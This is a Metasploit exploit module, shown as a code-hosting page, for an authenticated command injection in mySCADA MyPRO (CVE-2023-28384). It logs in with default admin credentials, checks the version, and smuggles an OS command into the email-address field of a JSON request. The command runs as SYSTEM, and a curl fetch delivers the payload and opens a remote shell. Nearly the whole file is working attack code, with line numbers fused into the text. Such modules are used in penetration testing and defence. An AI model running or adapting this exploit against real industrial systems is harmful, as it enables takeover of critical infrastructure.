Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/mypro_cmdexe.rb
Views: 11783
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::HttpClient3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',10'Description' => %q{11Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.12The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.13},14'License' => MSF_LICENSE,15'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module16'References' => [17[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],18[ 'CVE', '2023-28384']19],20'DisclosureDate' => '2022-09-22',21'Platform' => 'win',22'Arch' => [ ARCH_CMD ],23'Targets' => [24[25'Windows_Fetch',26{27'Arch' => [ ARCH_CMD ],28'Platform' => 'win',29'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },30'Type' => :win_fetch31}32]33],34'DefaultTarget' => 0,3536'Notes' => {37'Stability' => [CRASH_SAFE],38'Reliability' => [REPEATABLE_SESSION],39'SideEffects' => [IOC_IN_LOGS]40}41)42)4344register_options(45[46OptString.new(47'USERNAME',48[ true, 'The username to authenticate with (default: admin)', 'admin' ]49),50OptString.new(51'PASSWORD',52[ true, 'The password to authenticate with (default: admin)', 'admin' ]53),54OptString.new(55'TARGETURI',56[ true, 'The URI for the MyPRO web interface', '/' ]57)58]59)60end6162# Determine if the MyPRO instance runs a vulnerable version63def check64begin65res = send_request_cgi({66'method' => 'POST',67'uri' => normalize_uri(target_uri.path, 'l.fcgi'),68'vars_post' => {69't' => '98'70}71})72rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError73return CheckCode::Unknown74end7576if res && res.code == 20077data = res.get_json_document78version = data['V']79if version.nil?80return CheckCode::Unknown81else82vprint_status('Version retrieved: ' + version)83end8485if Rex::Version.new(version) <= Rex::Version.new('8.28')86return CheckCode::Appears87else88return CheckCode::Safe89end90else91return CheckCode::Unknown92end93end9495def exploit96execute_command(payload.encoded)97end9899def execute_command(cmd)100print_status('Checking credentials...')101check_auth102print_status('Sending command injection...')103exec_mypro(cmd)104print_status('Exploit finished, check thy shell.')105end106107# Check if credentials are working108def check_auth109res = send_request_cgi({110'method' => 'GET',111'uri' => normalize_uri(target_uri.path, 'sss2'),112'headers' => {113'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])114}115})116117unless res118fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')119end120case res.code121when 200122print_good('Credentials are working.')123when 401124fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')125else126fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')127end128end129130# Send command injection131def exec_mypro(cmd)132post_data = {133'type' => 'sendEmail',134'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"135}136post_json = JSON.generate(post_data)137138res = send_request_cgi({139'method' => 'POST',140'ctype' => 'application/json',141'data' => post_json,142'uri' => normalize_uri(target_uri.path, 'sss2'),143'headers' => {144'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])145}146147})148149# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.150151if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.152print_good('Command successfully executed, check your shell.')153end154end155156end157158159